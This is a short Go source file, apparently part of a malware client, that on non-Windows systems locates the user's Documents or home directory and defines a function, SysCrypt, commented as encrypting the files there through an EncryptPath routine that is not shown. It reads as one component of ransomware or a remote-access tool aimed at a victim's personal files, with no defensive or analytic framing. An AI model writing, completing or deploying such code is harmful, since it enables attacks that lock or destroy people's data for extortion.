//go:build !windows package client import ( "os" "path/filepath" ) func defaultCryptDir() (string, error) { home, err := os.UserHomeDir() if err != nil || home == "" { return "", err } candidates := []string{ filepath.Join(home, "Documents"), filepath.Join(home, "documents"), home, } for _, c := range candidates { if st, err := os.Stat(c); err == nil && st.IsDir() { return filepath.Clean(c), nil } } return filepath.Clean(home), nil } // SysCrypt encrypts files in the user's Documents (or home) folder. func SysCrypt() string { return EncryptPath("", true) }